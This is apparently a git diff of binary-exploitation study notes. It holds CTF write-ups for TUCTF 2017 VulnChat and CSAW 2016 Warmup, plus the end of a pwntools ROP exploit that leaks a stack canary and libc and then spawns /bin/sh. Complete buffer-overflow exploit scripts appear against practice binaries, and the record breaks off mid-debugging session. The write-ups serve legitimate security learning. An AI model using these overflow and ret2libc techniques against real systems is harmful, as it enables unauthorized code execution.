|
||||
def leave():
|
||||
print(target.recvuntil(">>"))
|
||||
target.sendline(b"3")
|
||||
|
||||
# Start of with the canary leak. We will overflow the buffer write up to the stack canary, and overwrite the least signifcant byte of the canary
|
||||
leakCanary = b""
|
||||
leakCanary += b"0"*0xa8 # Fill up space up to the canary
|
||||
leakCanary += b"0" # Overwrite least significant byte of the canary
|
||||
|
||||
|
||||
|
||||
feed(leakCanary) # Execute the overwrite
|
||||
|
||||
canary = review() # Leak the canary, and parse it out
|
||||
|
||||
# Start the rop chain to give us a libc infoleak
|
||||
leakLibc = b""
|
||||
leakLibc += b"0"*0xa8 # Fill up space up to the canary
|
||||
leakLibc += p64(canary) # Overwrite the stack canary with itself
|
||||
leakLibc += b"1"*0x8 # 8 more bytes until the return address
|
||||
leakLibc += popRdi # Pop got entry for puts in rdi register
|
||||
leakLibc += gotPuts # GOT address of puts
|
||||
leakLibc += pltPuts # PLT address of puts
|
||||
leakLibc += startMain # Loop back around to the start of main
|
||||
|
||||
# Send the payload to leak libc
|
||||
feed(leakLibc)
|
||||
|
||||
# Return to execute our code
|
||||
leave()
|
||||
|
||||
# Scan in and parse out the infoleak
|
||||
|
||||
print(target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a"))
|
||||
|
||||
putsLeak = target.recvline().replace(b"\x0a", b"")
|
||||
|
||||
putsLibc = u64(putsLeak + b"\x00"*(8-len(putsLeak)))
|
||||
|
||||
# Calculate the needed addresses
|
||||
|
||||
libcBase = putsLibc - offsetPuts
|
||||
systemLibc = libcBase + offsetSystem
|
||||
binshLibc = libcBase + offsetBinsh
|
||||
|
||||
print("libc base: " + hex(libcBase))
|
||||
|
||||
# Form the payload to return to system
|
||||
|
||||
payload = b""
|
||||
payload += b"0"*0xa8
|
||||
payload += p64(canary)
|
||||
payload += b"1"*0x8
|
||||
payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's argument (single char pointer)
|
||||
payload += p64(binshLibc) # Address to '/bin/sh'
|
||||
payload += p64(systemLibc) # Libc address of system
|
||||
|
||||
# Send the final payload
|
||||
feed(payload)
|
||||
|
||||
target.sendline(b"3")
|
||||
|
||||
#feed(payload)
|
||||
|
||||
# Return to execute our code, return to system and get a shell
|
||||
#leave()
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
421
2/vuln.md
Normal file
|
@ -0,0 +1,421 @@
|
|||
# TUCTF 2017 VulnChat
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat
|
||||
--2021-03-01 09:42:07-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat
|
||||
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
|
||||
Resolving github.com (github.com)... 140.82.121.3
|
||||
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat [following]
|
||||
--2021-03-01 09:42:08-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 6092 (5.9K) [application/octet-stream]
|
||||
Saving to: ‘vuln-chat’
|
||||
|
||||
vuln-chat 100%[================================================================>] 5.95K --.-KB/s in 0s
|
||||
|
||||
2021-03-01 09:42:08 (30.0 MB/s) - ‘vuln-chat’ saved [6092/6092]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
|
||||
→ file vuln-chat
|
||||
vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
|
||||
→ chmod +x vuln-chat
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First step is to execute the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat]
|
||||
→ ./vuln-chat
|
||||
----------- Welcome to vuln-chat -------------
|
||||
Enter your username: nothing
|
||||
Welcome nothing!
|
||||
Connecting to 'djinn'
|
||||
--- 'djinn' has joined your chat ---
|
||||
djinn: I have the information. But how do I know I can trust you?
|
||||
nothing: you can't lol
|
||||
djinn: Sorry. That's not good enough
|
||||
|
||||
|
||||
|
||||
Let's inspect it in ghidra:
|
||||
|
||||

|
||||
|
||||
Which gives us the following code:
|
||||
|
||||
|
||||
undefined4 main(void)
|
||||
|
||||
{
|
||||
undefined local_31 [20];
|
||||
undefined local_1d [20];
|
||||
undefined4 local_9;
|
||||
undefined local_5;
|
||||
|
||||
setvbuf(stdout,(char *)0x0,2,0x14);
|
||||
puts("----------- Welcome to vuln-chat -------------");
|
||||
printf("Enter your username: ");
|
||||
local_9 = 0x73303325;
|
||||
local_5 = 0;
|
||||
__isoc99_scanf(&local;_9,local_1d);
|
||||
printf("Welcome %s!\n",local_1d);
|
||||
puts("Connecting to \'djinn\'");
|
||||
sleep(1);
|
||||
puts("--- \'djinn\' has joined your chat ---");
|
||||
puts("djinn: I have the information. But how do I know I can trust you?");
|
||||
printf("%s: ",local_1d);
|
||||
__isoc99_scanf(&local;_9,local_31);
|
||||
puts("djinn: Sorry. That\'s not good enough");
|
||||
fflush(stdout);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see that first we get asked for our username, and then our input text gets put into local_1d (20 bytes) and then there is another scanf which puts our input text into local_31 (20 bytes aswell). For both scanf there is another variable being used called '&local;_9' this is a format specifier whcich is stored on the stack:
|
||||
|
||||

|
||||
|
||||
|
||||
080485be c7 45 fb MOV dword ptr [EBP + local_9],0x73303325
|
||||
25 33 30 73
|
||||
|
||||
|
||||
|
||||
here we see that an address is being called '0x73303325', and to see what it is we can just click on it and wait for ghidra to show us what it is:
|
||||
|
||||

|
||||
|
||||
|
||||
s03%
|
||||
|
||||
|
||||
|
||||
since we are dealing with a 32bit LSB executable, this is written in little endian (reverse or least important byte first) we get the following:
|
||||
|
||||
|
||||
%30s
|
||||
|
||||
|
||||
so now we know that both scanf functions take our input characters with '%30s' or '30 characters'. So let's take a look at the stack layout from ghidra:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main()
|
||||
undefined AL:1
|
||||
undefined1 Stack[-0x5]:1 local_5 XREF[1]: 080485c5(W)
|
||||
undefined4 Stack[-0x9]:4 local_9 XREF[3]: 080485be(W),
|
||||
080485cd(*),
|
||||
08048630(*)
|
||||
undefined1 Stack[-0x1d]:1 local_1d XREF[3]: 080485c9(*),
|
||||
080485d9(*),
|
||||
0804861b(*)
|
||||
undefined1 Stack[-0x31]:1 local_31 XREF[1]: 0804862c(*)
|
||||
main XREF[4]: Entry Point(*),
|
||||
_start:08048487(*), 08048830,
|
||||
080488ac(*)
|
||||
0804858a 55 PUSH EBP
|
||||
|
||||
|
||||
|
||||
Now the second time we are prompted for text, the text gets stored into local_31 located at -0x31, the first time we get prompted for text, the text gets stored in local_1d at -0x1d. Therefore local_31 can hold 0x31 - 0x1d bytes:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [~]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex(0x31 - 0x1d)
|
||||
'0x14'
|
||||
|
||||
|
||||
now that we know that local_31 can hold 14 bytes, let's see how much the local_1d variable hold aswell: 0x1d - 0x9
|
||||
|
||||
|
||||
>>> hex(0x1d - 0x9)
|
||||
'0x14'
|
||||
|
||||
|
||||
So both local_31 and local_1d can hold 14 bytes respectively. And since we can scan in 30 bytes of data, that gives us 16 bytes to overflow with (or 0x10 bytes)
|
||||
|
||||
The idea here is to first overflow with local_1d to overflow to the value of local_9 (where the %30s is written in little endian as we saw earlier). Then we will be able to specify how much data the second scanf call will scan. And with that we will be able to scan in more than enough data to overwrite the saved return address to get code execution when the ret instruction executes. Now let's check if there is a flag function in ghidra:
|
||||
|
||||

|
||||
|
||||
|
||||
void printFlag(void)
|
||||
|
||||
{
|
||||
system("/bin/cat ./flag.txt");
|
||||
puts("Use it wisely");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
Now with all of that, let's look at how the memory is corrupted during the exploit. First we set a breakpoint right after the second scanf call at '0x08048639':
|
||||
|
||||
|
||||
08048634 e8 27 fe CALL __isoc99_scanf undefined __isoc99_scanf()
|
||||
ff ff
|
||||
08048639 83 c4 08 ADD ESP,0x8
|
||||
|
||||
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/vulnchat]
|
||||
→ gdb ./vuln-chat
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./vuln-chat...
|
||||
(No debugging symbols found in ./vuln-chat)
|
||||
gef➤ b *0x8048639
|
||||
Breakpoint 1 at 0x8048639
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/vulnchat/vuln-chat
|
||||
----------- Welcome to vuln-chat -------------
|
||||
Enter your username: 321654987
|
||||
Welcome 321654987!
|
||||
Connecting to 'djinn'
|
||||
--- 'djinn' has joined your chat ---
|
||||
djinn: I have the information. But how do I know I can trust you?
|
||||
321654987: 987654321
|
||||
|
||||
Breakpoint 1, 0x08048639 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$eax : 0x1
|
||||
$ebx : 0x0
|
||||
$ecx : 0xffffd090 → 0xf7f90540 → 0xfbad2288
|
||||
$edx : 0xf7f8fe1c → 0x001eed2c
|
||||
$esp : 0xffffd0b0 → 0xffffd0e3 → "%30s"
|
||||
$ebp : 0xffffd0e8 → 0x00000000
|
||||
$esi : 0x1
|
||||
$edi : 0x08048470 → <_start+0> xor ebp, ebp
|
||||
$eip : 0x08048639 → add esp, 0x8
|
||||
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0xffffd0b0│+0x0000: 0xffffd0e3 → "%30s" ← $esp
|
||||
0xffffd0b4│+0x0004: 0xffffd0bb → "987654321"
|
||||
0xffffd0b8│+0x0008: 0x39049a10
|
||||
0xffffd0bc│+0x000c: "87654321"
|
||||
0xffffd0c0│+0x0010: "4321"
|
||||
0xffffd0c4│+0x0014: 0xffffd100 → 0xffffd134 → 0x67db6985
|
||||
0xffffd0c8│+0x0018: 0xffffd19c → 0xffffd371 → "ALACRITTY_LOG=/tmp/Alacritty-3896966.log"
|
||||
0xffffd0cc│+0x001c: 0x31dd8c99
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
|
||||
0x8048630 lea eax, [ebp-0x5]
|
||||
0x8048633 push eax
|
||||
0x8048634 call 0x8048460 <__isoc99_scanf@plt>
|
||||
●→ 0x8048639 add esp, 0x8
|
||||
0x804863c push 0x80487ec
|
||||
0x8048641 call 0x8048410
|
||||
0x8048646 add esp, 0x4
|
||||
0x8048649 mov eax, ds:0x8049a60
|
||||
0x804864e push eax
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "vuln-chat", stopped 0x8048639 in main (), reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x8048639 → main()
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
now from here we first set the breakpoint, then ran the binary, then entered the first scanf where we put the '321654987' pattern, and then entered the second scanf where we put the '987654321' pattern, and then we hit the breakpoint we set. Now we want to inspect what happened to our second text input, the pattern '987654321' so we search the pattern in the memory:
|
||||
|
||||
|
||||
gef➤ search-pattern 987654321
|
||||
[+] Searching '987654321' in memory
|
||||
[+] In '[heap]'(0x804a000-0x806c000), permission=rw-
|
||||
0x804a1a0 - 0x804a1ab → "987654321\n"
|
||||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
|
||||
0xffffd0bb - 0xffffd0c4 → "987654321"
|
||||
|
||||
|
||||
|
||||
Now we know that our second text input pattern is at **0xffffd0bb** let's search for the pattern '%30s':
|
||||
|
||||
|
||||
gef➤ search-pattern %30s
|
||||
[+] Searching '%30s' in memory
|
||||
[+] In '/home/nothing/binexp/2/vulnchat/vuln-chat'(0x8048000-0x8049000), permission=r-x
|
||||
0x80485c1 - 0x80485c5 → "%30s[...]"
|
||||
[+] In '/home/nothing/binexp/2/vulnchat/vuln-chat'(0x8049000-0x804a000), permission=rw-
|
||||
0x80495c1 - 0x80495c5 → "%30s[...]"
|
||||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
|
||||
0xffffd0e3 - 0xffffd0e7 → "%30s"
|
||||
|
||||
|
||||
|
||||
Now we know that the format string is stored at**0xffffd0e3** so let's see where our first input text is with the pattern 321654987:
|
||||
|
||||
|
||||
gef➤ search-pattern 321654987
|
||||
[+] Searching '321654987' in memory
|
||||
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
|
||||
0xffffb06c - 0xffffb086 → "321654987: 654987!\nname: "
|
||||
0xffffd0cf - 0xffffd0d8 → "321654987"
|
||||
|
||||
|
||||
|
||||
so now we know that our first text pattern (321654987) is located at **0xffffd0cf** so let's calculate the offset:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex(0xffffd0e3 - 0xffffd0cf )
|
||||
'0x14'
|
||||
|
||||
|
||||
|
||||
so now we know that our first input text (321654987) is 0x14 bytes (or 20 bytes) away from the format string variable value '%30s', our second input begins at **0xffffd0bb** , but we need to know where the return address is and what the offset between our second input and the return address is:
|
||||
|
||||
|
||||
gef➤ x/14x 0xffffd0bb
|
||||
0xffffd0bb: 0x36373839 0x32333435 0xffd10031 0xffd19cff
|
||||
0xffffd0cb: 0xdd8c99ff 0x34333231 0x38373635 0x04860039
|
||||
0xffffd0db: 0x00000008 0x00000100 0x73303325 0x00000000
|
||||
0xffffd0eb: 0xdbfa0d00 0x000001f7
|
||||
|
||||
gef➤ i f
|
||||
Stack level 0, frame at 0xffffd0f0:
|
||||
eip = 0x8048639 in main; saved eip = 0xf7dbfa0d
|
||||
Arglist at 0xffffd0e8, args:
|
||||
Locals at 0xffffd0e8, Previous frame's sp is 0xffffd0f0
|
||||
Saved registers:
|
||||
ebp at 0xffffd0e8, eip at 0xffffd0ec
|
||||
|
||||
|
||||
|
||||
|
||||
Here we see that the return address is at **0xffffd0ec** so we calculate the offset between our second input **0xffffd0bb** and the return address:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex(0xffffd0ec - 0xffffd0bb)
|
||||
'0x31'
|
||||
|
||||
|
||||
|
||||
So there is exactly 31 bytes between the second input and the return address, so this is a hint that the default 30 bytes of second input will not be able to reach it, that's why the first input is there to reach the %30s value beforehand to change it. From here we can make the following exploit:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/vulnchat]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process ('./vuln-chat')
|
||||
|
||||
#print the initial text
|
||||
print(target.recvuntil("username: "))
|
||||
|
||||
|
||||
#form the first payload to overwrite the %30s value
|
||||
payload0 = b""
|
||||
payload0 += b"\x00" * 0x14 #fill up the space with 0x14 nullbytes until the %30s format string value
|
||||
payload0 += b"%99s" #overwrite %30s with %99s
|
||||
|
||||
#send the first payload through the first scanf
|
||||
#print(payload0)
|
||||
target.sendline(payload0)
|
||||
|
||||
# Print the text up to the second scanf call
|
||||
print(target.recvuntil("I know I can trust you?"))
|
||||
|
||||
|
||||
#write the second payload to overwrite the return address with the print_flag function address
|
||||
payload1 = b""
|
||||
payload1 += b"\x00" * 0x31 #fill up the space until the return address with (0x31 nullbytes)
|
||||
payload1 += p32(0x804856b) #write the address of print_flag in little endian 32 bits
|
||||
|
||||
#send the second payload through the second scanf
|
||||
#print(payload1)
|
||||
target.sendline(payload1)
|
||||
|
||||
#drop into an interactive shell to view the rest of the output
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
The plan here is to first push shellcode onto the stack, and we know where it is thanks to the memory address that's given to us, then we fill the gap with nullbytes, and then overwrite the return address to point to the start of our shellcode
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/55 ] [binexp/2/vulnchat]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './vuln-chat': pid 2786552
|
||||
b'----------- Welcome to vuln-chat -------------\nEnter your username: '
|
||||
b"Welcome !\nConnecting to 'djinn'\n--- 'djinn' has joined your chat ---\ndjinn: I have the information. But how do I know I can trust you?"
|
||||
[*] Switching to interactive mode
|
||||
|
||||
: djinn: Sorry. That's not good enough
|
||||
flag{g0ttem_b0yz}
|
||||
Use it wisely
|
||||
[*] Got EOF while reading in interactive
|
||||
$
|
||||
|
||||
|
||||
And our exploit worked! We have been able to print the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
320
2/warm.md
Normal file
|
@ -0,0 +1,320 @@
|
|||
# CSAW 2016 Warmup
|
||||
|
||||
## Downloading the binary file:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
|
||||
--2021-02-27 11:02:37-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup [following]
|
||||
--2021-02-27 11:02:38-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 8705 (8.5K) [application/octet-stream]
|
||||
Saving to: ‘warmup’
|
||||
|
||||
warmup 100%[=======================================================================================================================================================================================================>] 8.50K --.-KB/s in 0.001s
|
||||
|
||||
2021-02-27 11:02:38 (7.11 MB/s) - ‘warmup’ saved [8705/8705]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ file warmup
|
||||
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ chmod +x warmup
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
first of all let's see what we get when we run the binary file:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ ./warmup
|
||||
-Warm Up-
|
||||
WOW:0x40060d
|
||||
>something
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ ./warmup
|
||||
-Warm Up-
|
||||
WOW:0x40060d
|
||||
>something2
|
||||
|
||||
|
||||
|
||||
First there is some text getting displayed, we get an address '0x40060d', then we get prompted for text input and nothing after that. So let's check what the binary file looks like in ghidra:
|
||||
|
||||

|
||||
|
||||
|
||||
void main(void)
|
||||
|
||||
{
|
||||
char local_88 [64];
|
||||
char local_48 [64];
|
||||
|
||||
write(1,"-Warm Up-\n",10);
|
||||
write(1,&DAT;_0040074c,4);
|
||||
sprintf(local_88,"%p\n",easy);
|
||||
write(1,local_88,9);
|
||||
write(1,&DAT;_00400755,1);
|
||||
gets(local_48);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Here we see the main function disassembled code, which is rather simplistic, we also see that our input text gets put into the local_48 variable at -0x48 on the stack:
|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main()
|
||||
undefined AL:1
|
||||
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 00400692(*)
|
||||
undefined1 Stack[-0x88]:1 local_88 XREF[2]: 0040064d(*),
|
||||
00400668(*)
|
||||
main XREF[5]: Entry Point(*),
|
||||
_start:0040053d(*),
|
||||
_start:0040053d(*), 0040077c,
|
||||
00400830(*)
|
||||
0040061d 55 PUSH RBP
|
||||
|
||||
|
||||
|
||||
However most importantly, we see that the address being printed is the address of the function called 'easy' at 0x40060d
|
||||
|
||||

|
||||
|
||||
this function is supposed to print the contents of flag.txt for us. Now before that, in the main function we see that our local_48 input text variable gets passed through a 'gets' function, this is a bug because it does not limit how much data it scans in. We also see the following:
|
||||
|
||||
|
||||
|
||||
void main(void)
|
||||
|
||||
{
|
||||
char local_88 [64];
|
||||
char local_48 [64];
|
||||
|
||||
|
||||
|
||||
our local input variable (local_48) can only hold 64 bytes of data, after we write those 64 bytes of data, we overflow the buffer and start overwriting other things in memory. With this bug we can reach the return address (the address after the ret call) and with this we want to make use of the 'easy function to print us the flag. so let's use gdb to see how much data we need to send BEFORE overwriting the return address:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
|
||||
→ gdb warmup
|
||||
|
||||
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
|
||||
Copyright (C) 2021 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
|
||||
Reading symbols from warmup...
|
||||
(No debugging symbols found in warmup)
|
||||
gef➤
|
||||
gef➤ disas main
|
||||
Dump of assembler code for function main:
|
||||
0x000000000040061d <+0>: push rbp
|
||||
0x000000000040061e <+1>: mov rbp,rsp
|
||||
0x0000000000400621 <+4>: add rsp,0xffffffffffffff80
|
||||
0x0000000000400625 <+8>: mov edx,0xa
|
||||
0x000000000040062a <+13>: mov esi,0x400741
|
||||
0x000000000040062f <+18>: mov edi,0x1
|
||||
0x0000000000400634 <+23>: call 0x4004c0
|
||||
0x0000000000400639 <+28>: mov edx,0x4
|
||||
0x000000000040063e <+33>: mov esi,0x40074c
|
||||
0x0000000000400643 <+38>: mov edi,0x1
|
||||
0x0000000000400648 <+43>: call 0x4004c0
|
||||
0x000000000040064d <+48>: lea rax,[rbp-0x80]
|
||||
0x0000000000400651 <+52>: mov edx,0x40060d
|
||||
0x0000000000400656 <+57>: mov esi,0x400751
|
||||
0x000000000040065b <+62>: mov rdi,rax
|
||||
0x000000000040065e <+65>: mov eax,0x0
|
||||
0x0000000000400663 <+70>: call 0x400510
|
||||
0x0000000000400668 <+75>: lea rax,[rbp-0x80]
|
||||
0x000000000040066c <+79>: mov edx,0x9
|
||||
0x0000000000400671 <+84>: mov rsi,rax
|
||||
0x0000000000400674 <+87>: mov edi,0x1
|
||||
0x0000000000400679 <+92>: call 0x4004c0
|
||||
0x000000000040067e <+97>: mov edx,0x1
|
||||
0x0000000000400683 <+102>: mov esi,0x400755
|
||||
0x0000000000400688 <+107>: mov edi,0x1
|
||||
0x000000000040068d <+112>: call 0x4004c0
|
||||
0x0000000000400692 <+117>: lea rax,[rbp-0x40]
|
||||
0x0000000000400696 <+121>: mov rdi,rax
|
||||
0x0000000000400699 <+124>: mov eax,0x0
|
||||
0x000000000040069e <+129>: call 0x400500
|
||||
0x00000000004006a3 <+134>: leave
|
||||
0x00000000004006a4 <+135>: ret
|
||||
gef➤ b *main +134
|
||||
Breakpoint 1 at 0x4006a3
|
||||
|
||||
|
||||
here we want the first breakpoint right before the return call at +134, then we run the binary:
|
||||
|
||||
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/warmup/warmup
|
||||
-Warm Up-
|
||||
WOW:0x40060d
|
||||
>13371337
|
||||
|
||||
Breakpoint 1, 0x00000000004006a3 in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x00007fffffffe0b0 → "13371337"
|
||||
$rbx : 0x0
|
||||
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
|
||||
$rdx : 0x0
|
||||
$rsp : 0x00007fffffffe070 → "0x40060d\n"
|
||||
$rbp : 0x00007fffffffe0f0 → 0x00000000004006b0 → <__libc_csu_init+0> push r15
|
||||
$rsi : 0x31373333
|
||||
$rdi : 0x00007ffff7faf680 → 0x0000000000000000
|
||||
$rip : 0x00000000004006a3 → leave
|
||||
$r8 : 0x00007fffffffe0b0 → "13371337"
|
||||
$r9 : 0x0
|
||||
$r10 : 0x6e
|
||||
$r11 : 0x246
|
||||
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffe070│+0x0000: "0x40060d\n" ← $rsp
|
||||
0x00007fffffffe078│+0x0008: 0x000000000000000a
|
||||
0x00007fffffffe080│+0x0010: 0x0000000000000000
|
||||
0x00007fffffffe088│+0x0018: 0x0000000000000000
|
||||
0x00007fffffffe090│+0x0020: 0x0000000000000000
|
||||
0x00007fffffffe098│+0x0028: 0x0000000000000000
|
||||
